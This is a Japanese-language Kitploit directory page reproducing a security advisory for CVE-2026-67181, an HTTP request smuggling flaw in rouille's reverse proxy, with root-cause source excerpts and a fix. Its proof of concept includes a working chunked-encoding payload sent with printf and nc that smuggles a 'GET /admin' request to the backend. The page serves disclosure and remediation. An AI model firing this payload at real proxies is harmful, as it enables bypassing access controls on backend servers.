Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-67181-HTTP-Request-Smuggling-via-Transfer-Encoding-Desynchronization-rouille- — セキュリティアドバイザリ: Transfer-Encodingの非同期化によるHTTPリクエストスマグリング (rouille) | Kitploit
ツール/GitHubGitHub/theopaid/cve-2026-67181-http-request-smuggling-via-transfer-encoding-desynchronization-rouille-
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティ
GitHubtheopaid/cve-2026-67181-http-request-smuggling-via-transfer-encoding-desynchronization-rouille-

CVE-2026-67181-HTTP-Request-Smuggling-via-Transfer-Encoding-Desynchronization-rouille-

セキュリティアドバイザリ: Transfer-Encodingの非同期化によるHTTPリクエストスマグリング (rouille)

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
23日前未レビュー

セキュリティアドバイザリ: Transfer-Encoding 非同期化による HTTP リクエストスマグリング (rouille)

割り当て済み CVE ID: CVE-2026-67181

概要

rouille::proxy::proxy はクライアントの Transfer-Encoding ヘッダーを変更せずにバックエンドへ転送しますが、tiny_http がすでにチャンク解除したリクエストボディを書き込みます。独自の Content-Length を送出することはありません。バックエンドにはボディがチャンク形式であると伝えられ、チャンク形式ではないバイト列が渡されるため、バックエンドがボディの終端をどこだと認識するかは rouille ではなくクライアントが決定します。

影響を受けるバージョン

Repo URL: https://github.com/tomaka/rouille

最初に影響を受けるバージョン0.3.3 (2016-12-03)、src/proxy.rs を導入したリリース
最後に影響を受けるバージョン3.6.2 (2023-04-24)、現在のリリース
影響を受けないバージョン0.3.2 以前。プロキシモジュールがない
修正版執筆時点では修正版なし

src/proxy.rs は 3.6.2 タグと現在の master の間でバイト単位で同一です。proxy::proxy または proxy::full_proxy を呼び出すアプリケーションのみが影響を受けます。

深刻度

CWE-444 (HTTP リクエストの解釈の不整合)。

CVSS 4.0 ベーススコア 6.3 (中) CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N

脅威モデル

リバースプロキシとして動作する rouille アプリケーションに生の HTTP を送信する、リモートの認証されていないクライアント。認証情報やユーザーの操作は不要です。

影響はバックエンドに依存します。Connection: close に関係なくパイプライン処理を行うバックエンドや、rouille とオリジン間に存在するコネクションプーリング仲介ノードは、スマグリングされたリクエストを実行します。Connection: close を尊重するバックエンドでも、結局はクライアントが送信した本文と rouille が観測した本文の両方とは異なるリクエストボディになります。

根本原因

tiny_http は Transfer-Encoding ヘッダーが存在する場合常にチャンク解除を行い、Content-Length を破棄します。

tiny_http-0.12.0/src/request.rs の 149 行目から 159 行目:

root@kitploit:~
149      // finding the content-length header
150      let content_length = if transfer_encoding.is_some() {
151          // if transfer-encoding is specified, the Content-Length
152          // header must be ignored (RFC2616 #4.4)
153          None
154      } else {

tiny_http-0.12.0/src/request.rs の 218 行目から 221 行目:

root@kitploit:~
218      } else if transfer_encoding.is_some() {
219          // if a transfer-encoding was specified, then "chunked" is ALWAYS applied
220          // over the message (RFC2616 #3.6)
221          Box::new(FusedReader::new(Decoder::new(source_data))) as Box<dyn Read + Send + 'static>

rouille/src/proxy.rs は Connection を除くすべてのヘッダーを転送し、デコード済みのボディをコピーします。167 行目から 174 行目:

root@kitploit:~
167          if header == "Connection" {
168              continue;
169          }
170  
171          socket.write_all(format!("{}: {}\r\n", header, value).as_bytes())?;
172      }
173      socket.write_all(b"Connection: close\r\n\r\n")?;
174      io::copy(&mut data, &mut socket)?;

クライアントの Transfer-Encoding: chunked は 171 行目で残ります。174 行目は Decoder が生成した平文を書き込みます。Content-Length は一切書き込まれないため、バックエンドはフレーミングの手掛かりが他になく、攻撃者が選んだ平文にチャンク解析を適用します。

概念実証

ステップ 1: ポート 8001 で raw リスナーを起動し、バックエンドとして rouille が送信するバイトを表示します。

root@kitploit:~
nc -l 127.0.0.1 8001 | cat -v

ステップ 2: ポート 8000 で rouille フロントエンドを起動します。

root@kitploit:~
use rouille::proxy;

fn main() {
    rouille::start_server("127.0.0.1:8000", |request| {
        proxy::full_proxy(request, proxy::ProxyConfig {
            addr: "127.0.0.1:8001", replace_host: None,
        }).unwrap()
    });
}

ステップ 3: 正しくチャンク化されたリクエストを送信します。そのデコード済みボディ自体が、すぐに終了するチャンクストリームであり、その後に 2 つ目のリクエストが続きます。単一チャンクの長さは 0x3d = 61 バイトです。

root@kitploit:~
printf 'POST /public/upload HTTP/1.1\r\nHost: x\r\nTransfer-Encoding: chunked\r\n\r\n3d\r\n0\r\n\r\nGET /admin HTTP/1.1\r\nHost: x\r\nX-Smuggled: yes\r\n\r\n\r\n0\r\n\r\n' | nc 127.0.0.1 8000

結果: ステップ 1 のリスナーには、rouille がチャンクフレーミングを宣言してから平文を送信する様子が表示されます。

root@kitploit:~
POST /public/upload HTTP/1.1
Host: x
Transfer-Encoding: chunked
Connection: close

0

GET /admin HTTP/1.1
Host: x
X-Smuggled: yes

Transfer-Encoding: chunked を尊重するバックエンドはチャンクサイズ行 0 を読み取り、ボディが空であると判断し、残りの 56 バイトを新しいリクエストとして解析します。

影響

バックエンドが認識するリクエストボディは、クライアントが送信したバイトと rouille が読み取ったバイトの両方と異なります。ボディをログ記録、監査、またはミラーリングする上流の何かは、バックエンドが処理したものとは異なるものを記録します。

バックエンドが Connection: close にもかかわらずパイプライン処理を行う場合、または rouille とオリジンの間にコネクションプーリング仲介ノードが存在する場合、末尾のバイトは攻撃者が選択したメソッドとパスを持つ 2 つ目のリクエストになります。

クライアントの Content-Length は tiny_http が無視したにもかかわらず転送されるため、Transfer-Encoding よりも Content-Length を優先するバックエンドは CL.TE 非同期化を直接引き起こします。

修復

rouille がすでにデコードしたボディを記述するフレーミングヘッダーを転送しないでください。src/proxy.rs の 167 行目でスキップ処理を拡張します:

root@kitploit:~
if header.eq_ignore_ascii_case("Connection")
    || header.eq_ignore_ascii_case("Transfer-Encoding")
    || header.eq_ignore_ascii_case("Content-Length")
{
    continue;
}

その後、実際に書き込む内容に一致するフレーミングを送出します: ボディをバッファリングして正確な Content-Length を送信するか、再チャンク化して Transfer-Encoding: chunked を自分で送信してください。これは 173 行目の終端 \r\n\r\n の前に行います。

ツールをダウンロード